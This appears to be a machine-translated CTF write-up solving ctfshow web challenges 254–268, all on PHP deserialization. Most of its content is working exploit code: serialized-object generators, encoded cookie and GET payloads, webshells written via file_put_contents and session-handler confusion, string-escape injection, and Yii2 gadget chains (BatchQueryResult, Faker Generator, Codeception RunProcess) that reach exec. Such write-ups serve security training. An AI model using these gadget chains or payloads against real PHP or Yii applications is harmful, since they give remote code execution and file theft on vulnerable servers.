web254
if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); }
Judge whether the entered username and password are equal to the xxxxxx given by the title. If the verification is successful, it will be given to the flag, so get the parameters directly
?username=xxxxxx&password=xxxxxx
web255
One more $user = unserialize($_COOKIE['user ']) than 254; However, $this - > isvip = true is missing in function login($u,$p); Therefore, we need to modify it when transmitting user
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; } echo urlencode(serialize(new ctfShowUser()));
?username=xxxxxx&password=xxxxxx Cookie:user=O%3a11%3a"ctfShowUser"%3a3%3a{s%3a8%3a"username"%3bs%3a6%3a"xxxxxx"%3bs%3a8%3a"password"%3bs%3a6%3a"xxxxxx"%3bs%3a5%3a"isVip"%3bb%3a1%3b}+
web256
There is an additional if ($this - > username! = = $this - > password), as long as the values are different
?username=xxxxx&password=xxxxxx user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
One more class and one more construct()
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
__ Trigger mechanism of construct(): when instantiating an object with the keyword new, the constructor will be called automatically
structure
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code='system("tac fl*");'; } echo urlencode(serialize(new ctfShowUser()));
?username=xxxxxx&password=xxxxxx user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22system%28%22tac+fl%2A%22%29%3B%22%3B%7D%7D
web258 - plus sign bypasses regular: / [oc]:\d+:/i
Another regular match
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
[oc]: Regular matching means regular matching \d: Matches a numeric character. Equivalent to [0-9]. +: Matches the previous subexpression one or more times. For example,'zo+' Can match "zo" as well as "zoo",But it can't match "z". + Equivalent to {1,}. /i: Indicates that matching is case insensitive
It means that there can be no O: number. We can bypass it with 0: + number. Here, the username password is useless. It is = = = and can be assigned arbitrarily
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code='system("tac fl*");'; } echo serialize(new ctfShowUser());
There is a change in public, and the rest is the same as before. I manually add + after serialization, and then use burp's url encoding
?username=xxxxxx&password=xxxxxx user=O%3a%2b11%3a"ctfShowUser"%3a4%3a{s%3a8%3a"username"%3bs%3a6%3a"xxxxxx"%3bs%3a8%3a"password"%3bs%3a6%3a"xxxxxx"%3bs%3a5%3a"isVip"%3bb%3a0%3bs%3a5%3a"class"%3bO%3a%2b8%3a"backDoor"%3a1%3a{s%3a4%3a"code"%3bs%3a18%3a"system("tac+fl*")%3b"%3b}}
web259 – not done
web260
As long as the serialized thing needs to contain ctfshow_i_love_36D, shall we pass it directly? ctfhsow=ctfshow_i_love_36D
web261
This level seems to be a magic function, but in fact, none of them is used
_wakeup(): If the class also defines __unserialize() and __wakeup() Two magic methods, only __unserialize() The method will take effect,__wakeup() Method is ignored. _invoke(): Not used __sleep(): Used in serialization, not here
So it mainly bypasses
if($this->code==0x36d){ file_put_contents($this->username, $this->password); }
For weak comparison, 0x36d will become the number 877. We can pass an 877, but we need to use file later_ put_ Contents (), so here we pass in 877.php. 877.php==877 is true, and password. We just pass in the command
<?php class ctfshowvip{ public $username; public $password; public function __construct($u='',$p=''){ $this->username="877.php"; $this->password="<?php eval(system('tac /fl*')); ?>"; } } echo urlencode(serialize(new ctfshowvip()));
Here, I first ls found that there was no flag.php, and then I went directly to the tac root directory fl *
?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A34%3A%22%3C%3Fphp+eval%28system%28%27tac+%2Ffl%2A%27%29%29%3B+%3F%3E%22%3B%7D
You can't call Redis here
web262 deserialization string escape
After looking at it for a while, I can't see where the flag should come from. There is a message.php on it. I found that if ($MSG - > token = ='admin ') outputs the flag here. For three input places, I have to change the fourth value. Look at the previous page, there is also a str_replace('fuck', 'loveU', serialize($msg));, Is to deserialize the string escape. We need to escape
";s:5:"token";s:4:"user";}
The length of 26 characters, so we need 26 fuck s, so we can pass the parameters directly
message.php?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
The process is a little messy, but you can try.
<?php class message{ public $from="1"; public $msg="1"; public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'; public $token='user'; } echo serialize(new message()); $a=str_replace('fuck', 'loveU', serialize(new message())); echo $a; var_dump(unserialize($a)); echo base64_encode($a);
You can also base 64 and put it at the cookie
Web263 session deserialization
dirsearch scans index.php, flag.php, check.php, www.rar and www.zip
check.php <?php error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //The password must be 128 uppercase and lowercase letters + numbers + special symbols to prevent explosion ] ]); if($data['id']){ //Cumulative number of successful login cancellations $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"Welcome".$data['UserName0'])); }else{ //Cumulative number of login failures plus 1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"Login failed")); } }
index.php <?php error_reporting(0); session_start(); //No login for more than 5 times if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("The number of login failures exceeds the limit"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>
www.zip Inside inc.php <?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "use".$this->password."land".($this->status?"success":"fail")."----".date_create()->format('Y-m-d H:i:s')); } }
The reason why the session can be deserialized
Session.serialize of session in inc.php_ The handler is set to PHP, which implies that the default php.ini is definitely not PHP, and the probability is php_serialize. The storage format of PHP engine is key name | serialized_string, while PHP_ The storage format of the serialize engine is serialized_string. If the program uses two engines to process separately, there will be problems. If you can control the input of session, you can use it. In index.php$_ SESSION['limit']=base64_decode($_COOKIE['limit']); Can pass in the value of session, inc.php__ There is a file in the destruct() method_ put_ Contents () function, which can be used to pass a sentence, Trojan horse, or command execution (see _destroy (), where the file name is log-xxx.php)
<?php class User{ public $username='a.php'; public $password="<?php system('tac fl*');?>"; public $status='1'; } echo base64_encode('|'.serialize(new User())); ?> Add here | namely php How the engine is stored base64 Encryption is because base64_decode($_COOKIE['limit']) fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJhLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgc3lzdGVtKCd0YWMgZmwqJyk7Pz4iO3M6Njoic3RhdHVzIjtzOjE6IjEiO30
Using burp or direct transmission, refresh after transmission, and then access check.php to generate files
Then access log-a.php to get the flag
web264
Like 262, the difference is that $MSG = Serialize (base64_decode ($_session ['msg ']);, The session is used instead of a cookie, which is passed here on the index.php page
?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
Because isset($_COOKIE['msg ']), go to the message.php page and add a cookie. Any value can be refreshed
web265-&
&Pass the parameter by address, a = & b. No matter what b is changed, a will change it, because it is the address of b rather than the current value of b that is passed to a
<?php class ctfshowAdmin{ public $token; public $password; public function __construct(){ $this->password=&$this->token; } } echo serialize(new ctfshowAdmin()); ?> O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
Case of web266 PHP class name
Case sensitive: variable name, constant name, array index (key name) key) Case insensitive: function name, method name, class name, magic constant NULL,FALSE,TRUE
As long as ctfshow occurs here, an exception error will be thrown, so to bypass, here is a case bypass
<?php class CTFshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct(){ global $flag; echo $flag; } } echo serialize(new CTFshow()); ?> POST: O:7:"CTFshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
Mainly pass this class, but the content is not required
Web267 Yii deserialization vulnerability
Log in with a weak password, admin:admin, find <! --? View source -- > in the source code of the About page, and then try to access the view source
index.php?r=site%2Fabout&view-source
Found deserializable places
index.php?r=backdoor/shell&code=poc
stick yushen poc, where checkAccess and id are controllable
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; //PHP function, system cannot be used $this->id = '1'; //Parameters of php function } //ls />1.txt flag found in root directory //CP / flag 2.txt copy the file to 2.txt, and then access 2.txt } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NDoiZXhlYyI7czoyOiJpZCI7czoxNDoiY3AgL2ZsYWcgMi50eHQiO31pOjE7czozOiJydW4iO319fX0
Visit 2.txt again
web268
The solution to the following problem is similar, but the flag and > are filtered, and the command is cp /f* 2.txt
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /f* 2.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // It needs to be changed to isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // Generate poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?> ?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjEyOiJjcCAvZiogMi50eHQiO31pOjE7czozOiJydW4iO319fX19